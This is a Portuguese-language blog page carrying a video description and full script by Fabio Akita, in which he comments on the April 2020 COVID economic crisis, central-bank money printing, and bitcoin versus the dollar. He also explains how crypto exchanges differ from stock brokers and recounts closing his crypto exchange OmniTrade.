&lt;li&gt;a perda de valor do mercado de equities está na casa dos 35 TRILHÕES. Os pacotes de estímulo do FED na casa dos 2.2 Trilhões não vai fazer cócegas&lt;/li&gt;
&lt;li&gt;esta semana sai os resultados de Q1 das empresas.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Semana passada (08/04/2020) eu fechei minha empresa de corretora de criptomoedas OmniTrade (&lt;a href="https://livecoins.com.br/corretora-de-bitcoin-brasileira-encerra-atividades-entenda/%29"target="_blank" rel="noopener"&gt;https://livecoins.com.br/corretora-de-bitcoin-brasileira-encerra-atividades-entenda/)&lt;/a&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/Y8SaMX30X1g"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>DESCRIÇÃO<span class="hx:absolute hx:-mt-20" id="descrição"></span>
    <a href="#descri%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>ERRATA pré-lançamento: antes do video sair eu já vi que os dados que eu falei no video estão desatualizados. Fonte: <a href="https://www.crescat.net/crescat-capital-quarterly-investor-letter-q1-2020/"target="_blank" rel="noopener">https://www.crescat.net/crescat-capital-quarterly-investor-letter-q1-2020/</a></p>
<ul>
<li>desemprego nos EUA já está na casa dos 17 milhões e não os 6.6 que são do fim de março</li>
<li>a perda de valor do mercado de equities está na casa dos 35 TRILHÕES. Os pacotes de estímulo do FED na casa dos 2.2 Trilhões não vai fazer cócegas</li>
<li>esta semana sai os resultados de Q1 das empresas.</li>
</ul>
<p>Semana passada (08/04/2020) eu fechei minha empresa de corretora de criptomoedas OmniTrade (<a href="https://livecoins.com.br/corretora-de-bitcoin-brasileira-encerra-atividades-entenda/%29"target="_blank" rel="noopener">https://livecoins.com.br/corretora-de-bitcoin-brasileira-encerra-atividades-entenda/)</a>.</p>
<p>No episódio de hoje vou aproveitar pra conectar uma breve atualização do cenário da crise econômica de agora pra explicar qual a relação de moedas como o dólar e criptomoedas como o bitcoin.</p>
<p>Então na segunda parte aproveito pra explicar as origens da OmniTrade, como ela foi construída, quais eram os planos e sobre o fechamento em si. E sim, o título do video ficou meio &ldquo;click-bait&rdquo;, sorry por isso :)</p>
<p>Links:</p>
<ul>
<li>A lot of countries did wrong fighting coronavirus. No one did worse than the Chinese government. (<a href="https://www.youtube.com/watch?v=_V4r5ibOm5g"target="_blank" rel="noopener">https://www.youtube.com/watch?v=_V4r5ibOm5g</a>)</li>
<li>Live devBagé (<a href="https://www.youtube.com/watch?v=HMRtzEkRTvA&amp;list=PLdsnXVqbHDUcjiwcY87avf7RWuQX5cF9g&amp;index=12&amp;t=0s"target="_blank" rel="noopener">https://www.youtube.com/watch?v=HMRtzEkRTvA&list=PLdsnXVqbHDUcjiwcY87avf7RWuQX5cF9g&index=12&t=0s</a>)</li>
<li>Live Flutterando (<a href="https://www.youtube.com/watch?v=XCsDC2FsM-E&amp;list=PLdsnXVqbHDUcjiwcY87avf7RWuQX5cF9g&amp;index=5&amp;t=1774s"target="_blank" rel="noopener">https://www.youtube.com/watch?v=XCsDC2FsM-E&list=PLdsnXVqbHDUcjiwcY87avf7RWuQX5cF9g&index=5&t=1774s</a>)</li>
<li>Playlists Blockchain (<a href="https://www.youtube.com/playlist?list=PLdsnXVqbHDUd6-be_WU0FzUgix3tRjAH4"target="_blank" rel="noopener">https://www.youtube.com/playlist?list=PLdsnXVqbHDUd6-be_WU0FzUgix3tRjAH4</a>)</li>
<li>Começando na Carreira de TI (<a href="https://www.youtube.com/watch?v=H84WD_xyj10"target="_blank" rel="noopener">https://www.youtube.com/watch?v=H84WD_xyj10</a>)</li>
<li>Canal do Fernando Ulrich (<a href="https://www.youtube.com/channel/UCLJkh3QjHsLtK0LZFd28oGg"target="_blank" rel="noopener">https://www.youtube.com/channel/UCLJkh3QjHsLtK0LZFd28oGg</a>)</li>
<li>Bitcoin Halving (<a href="https://www.bitcoinblockhalf.com/"target="_blank" rel="noopener">https://www.bitcoinblockhalf.com/</a>)</li>
<li>O que é o Livro Razão na contabilidade? (<a href="https://contadores.contaazul.com/blog/livro-razao-contabilidade"target="_blank" rel="noopener">https://contadores.contaazul.com/blog/livro-razao-contabilidade</a>)</li>
<li>Por que fungibilidade é importante? (<a href="https://blog.bitcointrade.com.br/por-que-fungibilidade-e-importante/"target="_blank" rel="noopener">https://blog.bitcointrade.com.br/por-que-fungibilidade-e-importante/</a>)</li>
<li>The operation and demise of the Bretton Woods system: 1958 to 1971 (<a href="https://voxeu.org/article/operation-and-demise-bretton-woods-system"target="_blank" rel="noopener">https://voxeu.org/article/operation-and-demise-bretton-woods-system</a>)</li>
<li>Black Swan author Nassim Taleb says Covid-19 pandemic not Black Swan event (<a href="https://mothership.sg/2020/04/covid-19-black-swan/"target="_blank" rel="noopener">https://mothership.sg/2020/04/covid-19-black-swan/</a>)</li>
<li>Under the Microscope: The Real Costs of a Dollar (<a href="https://www.coindesk.com/microscope-real-costs-dollar"target="_blank" rel="noopener">https://www.coindesk.com/microscope-real-costs-dollar</a>)</li>
<li>Nixon Ends Convertibility of US Dollars to Gold and Announces Wage/Price Controls (<a href="https://www.federalreservehistory.org/essays/gold_convertibility_ends"target="_blank" rel="noopener">https://www.federalreservehistory.org/essays/gold_convertibility_ends</a>)</li>
<li>Bernanke on taxpayer&rsquo;s money for the bailouts. (<a href="https://www.youtube.com/watch?v=U_bjDAZazWU"target="_blank" rel="noopener">https://www.youtube.com/watch?v=U_bjDAZazWU</a>)</li>
<li>A lot of countries did wrong fighting coronavirus. No one did worse than the Chinese government.(<a href="https://www.youtube.com/watch?v=_V4r5ibOm5g&amp;t=1s"target="_blank" rel="noopener">https://www.youtube.com/watch?v=_V4r5ibOm5g&t=1s</a>)</li>
</ul>
<h2>SCRIPT<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>O video desta semana acabou atrasando. Eu ia finalmente fazer um video sobre minha coleção de teclados mecânicos mas vai dar mais trabalho do que eu pensei. E além disso eu acabei pedindo mais um de última hora que chegou segunda e ainda estou testando. Hoje faz exatamente 1 mês desde que eu comecei a quarentena, vou dar uma atualização de como estou vendo o curto prazo desta crise econômica pra dar contexto sobre o segundo assunto. Acho que 90% das pessoas que assistem meu canal provavelmente não sabiam que eu tenho 2 empresas e uma delas era uma corretora de criptomoedas, a OmniTrade, que terminamos de fechar semana passada e vou aproveitar pra contar um pouco da história dela.</p>
<p>Semana passada eu participei de duas lives, se vocês não assistiram vou deixar os links nas descrições abaixo. Provavelmente vão ser as duas únicas por agora, porque embora eu queira evitar o assunto, obviamente o maior interesse de todo mundo agora é sobre o desenrolar da crise econômica e da pandemia. Como eu já divaguei muito sobre o assunto nas lives, nos próximos vou evitar falar muito porque na real, não tem muito mais a dizer e detesto ficar me repetindo.</p>
<p>Disclaimer que vale a pena repetir, eu não sei tudo! Eu não sou e nem tenho interesse em ser um ativista ou qualquer coisa assim e defender alguma causa com unhas e dentes. Vira e mexe eu digo pra amigos que eu sou só uma &ldquo;testemunha da história&rdquo;. Quer dizer que eu não tenho vocação nem vontade de tentar mudar a história. Se isso acontecer foi um efeito colateral e não um objetivo. Eu sou só curioso pra saber se o que vem a seguir é o que eu imaginava, e eu até acho interessante quando a história me surpreende, porque é algo raro de acontecer.</p>
<p>Claro que eu também gostaria que o mundo fosse utopicamente melhor, mas eu sou um pragmático realista. Eu não faço contas baseados em sonhos, eu faço contas baseado na realidade, por pior que ela seja. Por isso não é importante pra mim que todos concordem com o que eu digo. Eu não derivo nenhum prazer de discutir com quem discorda. Pelo simples fato que se eu estiver errado, eu tenho Skin in the Game, ou seja, vou ter que cortar na minha própria carne. O tema de hoje é um exemplo disso.</p>
<p>Pronto, disclaimers feitos, uma pequena atualizada sobre minha visão da crise pra usar de contexto no tema. Tenham paciência por enquanto. O que eu e alguns economistas falamos durante 2018 e 2019, sobre uma crise eminente na economia que nos levaria a uma recessão, não aconteceu. Apesar da coincidência ser interessante, não é correto dizer que foi uma previsão. Nós não conseguimos prever que na realidade ia ser pior, mas muito pior do que nossos piores cenários. Muita gente ainda acha que quando a pandemia for controlada, tudo vai voltar ao normal. Infelizmente eu acho muito improvável. Existem duas coisas que me preocupam bastante.</p>
<p>O primeiro é a irracionalidade de todas as discussões públicas até agora. Só pra variar as pessoas estão indo perigosamente na direção de abrir mão das liberdades individuais em troca de uma falsa segurança que nunca existiu nem vai existir. Eu avisei dois vídeos atrás que momentos assim tendem a exaltar regimes totalitários e procurar salvadores da pátria. Especialmente momentos de pânico generalizado e desinformação massiva. O problema é que agora vai haver um consenso global em crenças erradas. Eu juro que eu quero estar redondamente enganado nisso. Vou recomendar um video importante que mostra a linha do tempo dos eventos que nos trouxeram até este ponto. Ninguém aprendeu nada antes, pelo visto vamos continuar não aprendendo, e vamos fazer pior da próxima vez.</p>
<p>O segundo motivo é econômico. Os mercados já foram massivamente infectados pelos bancos centrais e os dados que temos agora estão distorcidos. Vou dar um exemplo. Se você observar o comportamento de ações, fundos e tudo mais vai ver que no geral, tivemos o grande crash depois do carnaval, mas tirando os casos mais óbvios como companhias aéreas, quase tudo tá se recuperando. Olhem nos gráficos como S&amp;P 500, NASDAQ, IBOVESPA, qualquer um, tem subido no geral. Na média, metade das perdas já foi milagrosamente recuperado. Mas lembram no video sobre a crise que eu falei que na minha pessoa física eu tinha perdido quase meio milhão? Pois é, eu Não realizei as perdas obviamente, e eu já recuperei mais da metade, sem fazer absolutamente nada.</p>
<p>Se você olhar isso superficialmente poderia imaginar que os mercados tão respondendo positivamente, que na verdade a crise não é tão ruim quanto parece, e logo logo vamos voltar à normalidade. Eu realmente preferia que fosse só isso. Infelizmente não é assim que se lê isso. Seria o caso se esses dados representassem um mercado livre sem interferência. Mas os bancos centrais do mundo já interferiram. Estão jogando centenas de bilhões no sistema financeiro o tempo todo. O Japão sozinho aprovou 1 trilhão de dólares, os Estados Unidos 2.2 trilhões. O Brasil mesmo vai fazer isso. É o que eu falei sobre eles estarem &ldquo;imprimindo dinheiro&rdquo;, entre aspas.</p>
<p>Vou ser extremamente grosseiro pra simplificar. Quando os bancos centrais &ldquo;imprimem dinheiro&rdquo;, eles aumentam a oferta de dólar em circulação e eu já expliquei sobre oferta e procura. Aumente a oferta de alguma coisa e seu preço cai. Imprimir dinheiro aumenta sua oferta e desvaloriza seu valor. O efeito mais óbvio é que isso geraria inflação, que é o aumento dos preços dos produtos por exemplo. Por isso que não adianta só sair distribuindo dinheiro como muitos acham, isso só faria os preços aumentarem. E obviamente não adianta congelar os preços, isso só faria os produtos desaparecerem.</p>
<p>Mas temos outro problema. Não vamos ter inflação agora porque literalmente ninguém tá podendo consumir, seja porque já ficou desempregado, seja porque tá se precavendo caso fique desempregado, ou seja simplesmente porque tá num lockdown rígido e não pode sair de casa e os comércios não podem abrir. Nesse caso o risco é outro: deflação. É o caso onde nem abaixando os preços o consumo sobe. Existem países que já estavam em deflação antes da crise, vide o Japão que desesperadamente tenta aumentar o consumo faz décadas sem sucesso. Numa lógica simplista, porque você gastaria seu dinheiro hoje se amanhã você pode comprar um pouco mais com o mesmo dinheiro já que ele não desvaloriza? Parece bom, mas não é, isso cria estagnação.</p>
<p>Ma agora estamos numa combinação rara: podendo aumentar a liquidez imprimindo dinheiro e sem aumentar demais a inflação no curto prazo. Mas a inflação vai chegar, só que depois da pandemia. Só tem um lugar onde o efeito de inflação tá se refletindo já agora, e é nos mercados financeiros. Pense em ações como produtos de prateleira. As ações estão inflacionadas de novo. É a mesma coisa que veio causando a bolha que eu falei até antes da crise. Só que em vez da liquidez ser causada por imprimir dinheiro era por diminuir a taxa de juros, em ambos os casos isso leva à inflação das ações.</p>
<p>Eu não quero entrar em detalhes sobre os mecanismos porque tem gente mais qualificada que eu pra explicar isso, mas quando eu falo &ldquo;imprimir dinheiro&rdquo; não estou falando literalmente em imprimir papel moeda e sim em Quantitative Easing ou QE que a grosso modo é o governo colocar no balancete dele ativos do mercado. Imprimir dinheiro na prática é como adicionar uma linha no &ldquo;Excel&rdquo; do banco central. Problema é que você não pode pensar nisso de forma absoluta, como papel moeda trocando de mãos, é um linguajar contábil. Pesquisem sobre isso.</p>
<p>Esse lockdown ou quarentena global é super sério. Dependendo de que estimativas você olhar o mundo já perdeu até este momento todo o crescimento estimado de PIB do ano, no caso mais otimista algo na ordem de 4 a 5 trilhões de dólares. No caso mais pessimista, pode multiplicar isso por quanto quiser porque tá difícil ver o fundo do poço. Seu chute vai ser tão bom quanto o meu. Estima-se que um terço da população do mundo tá em algum nível de restrição de quarentena.</p>
<p>Tenta colocar esse número na cabeça, não existe situação assim na história a não ser em períodos de guerra mundial. Isso não vai acabar bem. E se você não está acompanhando dias atrás os Estados Unidos divulgaram o nível de pedidos de seguro desemprego e até dia 28 de março mais de 6.6 milhões de pessoas entraram com pedido. O normal são milhares, e em poucas semanas chegou em milhões. Isso não aconteceu na crise de 2008, nem de 2001, nem de 1987, é um nível catastrófico e muitas empresas já estão fechando. Eu quero que vocês gravem este gráfico que mostra seguro desemprego desde os anos 80 até agora e o pico no fim do gráfico que é este ano. Os efeitos dessa crise já estão se tornando permanentes. Essa vai ser a nova realidade.</p>
<p>Pronto, sem me alongar demais vamos parar por aqui no meu big picture e descer pro meu mundinho bem menor. Eu naturalmente não confio em papel moeda. Muito menos a do Brasil. Como eu já disse antes, eu vivi os tenebrosos anos 80 e senti a hiperinflação na própria pele. Por outro lado eu sempre vivi num mundo pós segunda guerra, mais especificamente pós-Bretton Woods e pós-desvinculação do padrão ouro, ou seja, um mundo de dinheiro virtual e câmbio flutuante. Significa que eu suspeito de basicamente tudo embora eu precise conviver com isso.</p>
<p>Por outro lado eu sou economicamente conservador, eu não tenho vocação pra trader nem investidor de risco. Eu gosto de risco mas até certo ponto, por isso nenhuma promessa de tech startups unicórnios me atrai. Os venture capitalists não gostam muito de mim aliás. Nem eu sou imune, claro, certamente já me balançou em algumas épocas, mas tudo sempre parece um golpe. Nem estou dizendo que existe a intenção, só que o marketing é extremo demais. Ironicamente foi por isso que me interessei por criptomoedas. E eu sei o que você pensou, mas aguentem até o fim. Eu não vou tentar vender criptomoedas como nenhum salvador da pátria não.</p>
<p>Por volta de 2009 ou 2010 apareceu as conversas em torno de moedas digitais e bitcoin e eu cheguei a minerar, na época que um bitcoin valia centavos. E obviamente eu também fui um daqueles que tinha bitcoins lá no começo e não guardou a carteira. Pois é! De repente hoje valeria alguns milhões, vai saber. Cagada minha não ter dado atenção.</p>
<p>Daí acho que foi lá pelo começo de 2017 que amigos meus começaram a falar de criptomoedas de novo. Parei pra pesquisar e vi que a coisa aumentou bastante. Mais interessante porque eu vi vários desses programadores hipsters influencers de rede social fazendo questão de ser religiosamente contra criptomoedas. Sem apresentar nenhuma lógica, pra variar. E isso me deixou mais curioso ainda, porque se irrita os ideológicos certamente tem alguma coisa que vale a pena eu explorar. Lembram que eu falo que eu não sigo nenhum influencer? Pois é, mas quando muitos influencers fazem questão de falar contra que eu fico mais interessado.</p>
<p>A tecnologia em si é razoavelmente simples. Você consegue ler o lendário paper original do Satoshi Nakamoto, que completou 10 anos ano passado, em uma hora e entender. Aliás, pra entender criptomoedas no nível técnico você precisa no mínimo saber o que eu já expliquei sobre criptografia nestes dois vídeos no canal, dêem uma estudada. Existem centenas de vídeos, posts de blog e até livros já hoje em dia explicando o funcionamento de um ledger digital e eu não vou perder tempo explicando tudo de novo. Pesquise por conta própria e se ainda não fez isso, pra efeitos deste video, assuma que funciona.</p>
<p>Aqui eu podia começar a explicar o que é um ledger, o que é uma transação, como é feita a assinatura e mineração de blocos e bla bla bla mas isso já existe super bem explicado em centenas de lugares, é só pesquisar um pouco. Em vez disso deixa eu rapidamente passar por quatro das principais coisas que as pessoas lêem no título de notícias e não pensam nem dois segundos a respeito.</p>
<p>A primeira coisa é sobre a lentidão em assinar blocos, a tal “mineração” que na prática é o trabalho de validar as transações de um bloco antes de adicionar no blockchain e através disso desbloquear mais um pouco de bitcoins como prêmio. No caso do Bitcoin isso pode levar 20 minutos a mais. Isso impossibilita usar Bitcoin numa maquininha de pagamento no caixa de uma loja por exemplo, é verdade. Mas isso não me preocupa. Existem alternativas pra isso. De forma simplória pense num boleto. Ela precisa de 1 dia pra processar e confirmar, é parecido. Você não usa boleto num caixa de supermercado, pra isso você usa outras coisas como seu cartão de crédito, que é rápido porque você não usa dinheiro e sim outra invenção, chamada crédito.</p>
<p>A administradora de cartão não checa se você tem dinheiro na sua conta e sim se tem direito a crédito por sua boa reputação de bom pagador. No fim do mês ele emite uma fatura e daí de fato você paga ou não. Todo mundo pensa que dinheiro é tudo igual mas não é, uma coisa é o papel moeda na sua mão, outra coisa diferença é a representação virtual no saldo da sua conta bancária, outra coisa totalmente diferente é o crédito no cartão e assim por diante. São todos formas de dinheiro virtual.</p>
<p>A segunda coisa é o custo dessa mineração, particularmente o controverso uso de energia. Sinceramente, isso é mais político que prático. O título de matérias é sempre algo do tipo &ldquo;nossa, a mineração de bitcoins usa o mesmo tanto de energia pra iluminar as casas de uma pequena cidade&rdquo;. Daí vira trending topic no Twitter. Eu falo que se algo similar ao Twitter existisse nos anos 40 a gente não teria computadores hoje. Um dos primeiros grandes computadores comerciais foi o ENIAC. Ele era tão veloz que podia executar 5 mil operações de adição por segundo. Ele tinha uns 15 metros de comprimento e consumia tanta energia e dissipava tanto calor que você podia aquecer um pequeno lago do lado dele.</p>
<p>Eu já consigo ver os tweets de 1945 &ldquo;esse tal de computador é uma abominação, um único computador poderia iluminar dezenas de casas numa pequena cidade&rdquo;. E adivinhem, os processadores modernos de hoje fazem bilhões de operações por segundo a uma fração da energia de um ENIAC. Qualquer calculadora moderna é mais rápida que isso. Vou contar uma novidade pra vocês que viveram embaixo de uma rocha em Marte nos últimos 100 anos: a tecnologia evolui rápido, o tempo todo.</p>
<p>A terceira coisa é a aversão a criptomoedas porque ela é usada pra coisas obscuras, sequestros, tráfico de drogas, espionagem e sei lá mais o que. Se isso te preocupa vou te contar qual é a moeda virtual mais usada no crime organizado e no mercado negro. Se chama dólar. O tanto de dólar que circula só em tráfico de drogas, por ano, provavelmente supera o valor de todos os bitcoins que existem hoje. Se usar uma moeda que tá envolvida com crimes é uma ofensa à sua pessoa, use lógica. Eu recomendaria que você deixe de usar qualquer moeda e volte a fazer escambo.</p>
<p>A quarta e última coisa é relacionada e dessa vez é meio real, que criptomoedas estão associados a golpes de pirâmides. Esta é a mais difícil de explicar mas deixa eu tentar. Da mesma forma como usos ilícitos, você não precisa de criptomoedas pra criar fraudes. Dólares e qualquer outra moeda servem. Produtos consumíveis servem, sei lá shake pra emagrecer por exemplo. Quantas pirâmides existem que todo mundo chama de marketing multinível?</p>
<p>Não existe nada inerente na tecnologia de blockchains que as tornam necessariamente fraudulentas. O problema é o uso do nome. De fato a maior parte dos negócios associados a criptomoedas que ganharam mais notoriedade são ligados a fraudes, em particular pirâmides. E aqui eu vou ser advogado do diabo. Fraudes como essas existem porque as pessoas consomem as fraudes. Isso vale pra tudo. Vira e mexe eu cutuco os tais coaches quânticos e tals mas metade do problema é que eles existem pra atender uma demanda. Por mais bizarro que pareça, existe uma demanda que tá disposta a pagar pra ser enganado, em busca de sonhos irreais a preços baratos.</p>
<p>O comportamento do bitcoin depois de 2017 não está muito diferente dos mercados tradicionais de agora depois do crash pós-carnaval. Muitos cínicos apontaram que nesse crash o Bitcoin caiu também, só que tudo caiu. O Ouro caiu. No fim de 2017 o bitcoin perdeu uns 500 bilhões de dólares de sua valuation. Os mercados tradicionais agora perderam uns 2 trilhões de dólares. Todo mundo quer acreditar que criptomoedas são inerentemente bolhas e fraudes, só que se você afirmar isso precisa adicionar os mercados tradicionais. Os produtos financeiros, securities, ETFs, bonds e tudo mais, tecnicamente se comportam de forma parecida com criptomoedas, são os mesmos conceitos e os mesmos mecanismos.</p>
<p>A grande diferença entre um bitcoin e um dólar é o mecanismo na sua fundação. Você nunca se perguntou porque o dólar é a moeda dominante e de maior valor no comércio internacional? Eu recomendo que vocês pesquisem sobre isso na história, mas existiu uma data pra isso, julho de 1944 depois da segunda grande guerra mundial, quando 730 delegados de 44 nações se reuniram no Hotel Mount Washington em Bretton Woods, New Hampshire nos Estados Unidos pra uma conferência pra definir a política monetária do mundo. E foi aí que definiram o dólar como a moeda de base, que na época era lastreado em ouro, sendo os Estados Unidos o país com a maior reserva de ouro.</p>
<p>Os acordos de Bretton Woods levaram uns 15 anos pra serem implementados. Mas seguindo a história, com o crescimento acelerado nos anos 60, a demanda pela liquidez de dólar e a limitação do lastro em ouro se tornou um fator limitante e que deixava os Estados Unidos vulneráveis. Pra não divagar demais, vou deixar um link nas descrições abaixo sobre isso, mas foi em agosto de 1971 que nascia a primeira moeda totalmente virtual do mundo quando o então presidente Richard Nixon removeu o lastro em ouro do dólar. Nenhum governo estrangeiro que tinha dólares podia mais converter de volta pro ouro e o dólar se estabeleceu com o lastro do mundo.</p>
<p>Entendido isso vamos voltar: qual a diferença do bitcoin pro dólar? Tiranda a parte óbvia que o mundo todo tá dependente de dólar, ou seja, suas dívidas são referenciadas em dólar, a diferença técnica - e aqui depende do entendimento de tecnologias de criptografia -, é que bitcoin foi construído pra se comportar mais ou menos como ouro. Ele tem uma quantidade limitada que vai sendo minerada cada vez mais devagar e um dia ele simplesmente vai esgotar e o que foi minerado é tudo que vai existir, sem exceção. Não existe a opção de se criar mais bitcoins do que o limite programado nele.</p>
<p>Além disso, assim como ouro ou outro material físico que eu posso transferir a propriedade só passando de uma mão pra outra, também uma unidade de bitcoin, ou uma fração dela que denominamos Satoshis, podem ter sua propriedade transferida de uma carteira pra outra carteira, sem cópia, sem duplicar, é uma transferência um pra um, e esta é a grande novidade dos blockchains que não é intuitivo de imediato.</p>
<p>Pense assim, um dos grandes problemas não resolvidos desde o surgimento da internet é sobre como lidar com propriedades 100% digitais. Porque é extremamente fácil e barato fazer cópia de qualquer coisa, da mesma forma quando você copia um arquivo do seu HD pra um pen drive. A cópia é idêntica à original, você não saberia distinguir qual foi o original. Diferente de cópias analógicas como fitas cassette ou VHS onde cada nova cópia deteriora em qualidade. Foi a grande controvérsia das plataformas de pirataria como Napster, Limewire, eDonkey até os dias de hoje com Mega ou Torrent.</p>
<p>Pior ainda, como representar dinheiro ou moedas virtuais? A única forma conhecida de controlar algo assim é confiar em uma autoridade centralizadora que todo mundo confia. Por exemplo, se você joga League of Legends você transaciona na plataforma com Riot Points, que é basicamente uma moeda virtual. Ela tem valor porque só se pode comprar coisas na plataforma com essa moeda virtual. E sua confiança na moeda é igual à sua confiança na empresa Riot Games. O mesmo vale pra qualquer outra plataforma virtual.</p>
<p>Com o dólar é basicamente a mesma coisa. O valor do dólar deriva no seu valor de moeda de troca internacional e como lastro de todas as dívidas do mundo. Pergunta pra Rússia se quando ele vende gás pra China ele prefere ser pago em dólares ou em Yuan. Ou pergunta pra Arábia Saudita se quando ele vende petróleo pra China, ele prefere ser pago em dólares ou Yuan. Aliás, eu pergunto pra você, se tivesse a opção do seu salário ser pago em dólares ou em Yuan, qual você escolheria? Essa confiança é equivalente a confiar no FED, o banco central americano, a única entidade que tem soberania pra imprimir mais moeda e controlar a política monetária. O que é o dólar? A grosso modo, é um número numa planilha, mais especificamente um livro razão ou, em inglês, um ledger.</p>
<p>E um blockchain é só isso: um ledger com garantias que um transação escrita e verificada neste ledger não pode ser modificado nunca mais. A grande diferença do ledger de bitcoin e o ledger do dólar é que no caso do blockchain, não existe uma única pessoa que é capaz de controlar e modificar esse blockchain, é a garantia do algoritmo utilizado, a idéia que conhecemos na ciência da computação como consenso bizantino. Uma das aplicações disso é coordenar sistemas distribuídos. Na prática garante que é altamente improvável reescrever uma transação nesse ledger. Uma vez escrito ele está de verdade na pedra.</p>
<p>No caso do dólar, o FED é o único que controla o ledger e ele pode escrever o que quiser. Que é o que ele tá fazendo agora com o tal Quantitative Easing, escrevendo novos dólares no seu livro razão e boom, 2.2 trilhões aparecem. Claro que não é simples assim, como já expliquei antes, não dá pra ficar criando moeda à vontade porque quanto mais dólares se coloca no mercado sem razão, mais ele desvaloriza o valor da moeda, por exemplo gerando inflação.</p>
<p>E nesse caso, por que existem tantos golpes e fraudes em cima do Bitcoin? Aí já não é culpa da tecnologia de blockchain. O problema é que uma vez tendo um lastro de valor, podemos criar dezenas de produtos financeiros que não ficam registrados no blockchain, basicamente os mesmos que podemos criar em cima dólares. Por exemplo, ações de uma empresa é um produto financeiro. Só que em vez de usar a base de dólares podemos usar a base de bitcoins ou qualquer outra moeda virtual, criptomoedas ou não. Sabe seus pontos de milhagens ou qualquer ponto de fidelidade? São moedas virtuais.</p>
<p>Mas de novo, por que temos tantos problemas de golpes e fraudes em cima de criptomoedas? Porque em termos de produtos financeiros ainda estamos aprendendo o que funciona e o que não funciona. O grande conceito é como o que eu falei do seu cartão de crédito. Quando você paga sua conta no supermercado, nenhum dinheiro trocou de mãos, só a promessa de troca. O dinheiro não saiu da sua conta e nem entrou na conta de banco do supermercado. Só em determinadas datas uma administradora de cartão de créditos faz o pagamento pros lojistas e faz a cobrança via uma fatura pra você. O conceito é que tanto você, consumidor, e o lojista confiam na administradora como intermediador. Se a administradora falir, o lojista fica sem o dinheiro, teoricamente, por isso confiança é um fator fundamental. A gente confia numa VISA porque ela existe faz décadas e dá impressão que vai existir mais algumas décadas.</p>
<p>A mesma coisa na Bolsa de Valores. As corretoras intermediam as compras e vendas entre a Bolsa e você, mas as corretoras em si não são donas das ações e, principalmente, não são donas dos order books ou livros de oferta, o que comumente se chama de &ldquo;pedra&rdquo;. A grosso modo funciona assim. Toda vez que uma Petrobrás quer vender ações ela registra na B3. Todas as corretoras enxergam a mesma quantidade e começam a receber ordens de compra de seus clientes. &ldquo;Compre a 50 reais&rdquo; ou &ldquo;Compre a 60 reais&rdquo;, é como um leilão e todos esses pedidos são enviados pro mesmo lugar: pro livro de ofertas da B3. Toda oferta colocada por toda corretora é enxergada por todas ao mesmo tempo. Bolsa é um grande leilão, ordens de compra e ordens de venda sendo colocadas num mesmo lugar o tempo todo. É como se fosse um Mercado Livre ou eBay de ações.</p>
<p>Não importa qual corretora você usar, teoricamente você enxerga exatamente o mesmo livro de ordens da B3 pras mesmas ações e outras classes de ativos. O que varia é o nível de serviço e coisas como taxas de administração. Teoricamente, mesmo se uma corretora falir, você não perde suas ações, porque sua propriedade é registrada na B3. É uma puta burocracia mudar a custódia das ações quando você sai de uma corretora e vai pra outra, mas isso é possível.</p>
<p>Muita gente pensa em corretoras de criptomoedas como se fossem corretoras do mercado tradicional como XP ou BTG ou EasyInvest. Porque corretora de cripto tem mais ou menos a mesma interface com vários pares de moedas em negociação como Bitcoin pra Real ou Bitcoin pra Litecoin e um livro de ofertas com ordens de compra e ordens de venda. Porém a grande diferença é que não existe uma entidade como uma B3 que detém a unificação da liquidez, ou seja, não existe um livro de ofertas centralizado. Cada corretora de cripto é também a própria bolsa de valores.</p>
<p>É isso que é um Mercado Bitcoin, Foxbit, ou Coinbase e Binance lá fora: bolsas de valores de criptomoedas e corretoras. Só que o nome disso ia ficar muito longo então comumente chamamos só de Exchanges, que não é muito correto. A minha empresa OmniTrade era a mesma coisa. Agora por que eu abri a OmniTrade em primeiro lugar? Dois motivos basicamente. Eu disse antes que amigos meus começaram a falar sobre bitcoins, trading e tudo mais. Até então eu já tava em mercados tradicionais, seja em bolsa de valores aqui no Brasil e eu já tava dolarizado e em fundos nos Estados Unidos. Felizmente eu tive oportunidade de começar a diversificar faz algum tempo.</p>
<p>Assim como todo mundo eu ouvi todas as histórias que vocês ouviram, sobre o consumo massivo de energia pra minerar, diversos casos sobre uso de bitcoin em crimes, as diversas pirâmides e golpes e tudo mais. Nada disso me interessou, mas a tecnologia por trás eu achei Muito interessante, inteligente e elegante. Se você estudou o mínimo de ciências da computação e um básico de economia, não era difícil enxergar além do hype e das fake news. A base de tecnologia é sólida. Uma evidência disso é que ela está publicamente exposta faz 10 anos e mesmo com o incentivo econômico de lucrar muito, nenhum hacker de nenhum lugar do mundo conseguiu quebrar ainda. Veja meus videos de criptografia e até de Supremacia Quântica pra entender porque. Certamente pode ser melhorado, como tudo em tecnologia, mas a fundação fazia sentido e o resto das notícias era só isso, barulho.</p>
<p>Mas era um fato que a maioria das exchanges, principalmente naquele ponto eram muito ruins. Eu diria lamentáveis. E a maioria de históricos não muito confiáveis. Eu não via um no Brasil que eu olhasse e gostasse da performance e tecnologias, e que tivesse histórico decente. O correto em criptomoedas é não confiar em nenhuma exchange, deixar numa carteira privada sua e ponto final. Porém é muito pouco prático se você que fazer trading. Aliás, eu já aviso aqui, não me perguntem qual eu recomendo porque eu realmente não recomendo nenhuma. Faça sua própria pesquisa assim como eu fiz a minha.</p>
<p>De qualquer forma o que eu queria fazer era realmente brincar na volatilidade. Pra maioria da população, o que todo mundo gostaria de ter é estabilidade, ir dormir com seu dinheiro valendo X e acordar no dia seguinte ainda valendo o mesmo X. Em mercados de risco como ações ou cripto ou qualquer classe de ativos isso não é verdade, você pode ir dormir rico e acordar pobre ou vice-versa. Por isso a gente fala pra quem for amador e não puder perder o que está investido, nem tentar. Sério, fica longe.</p>
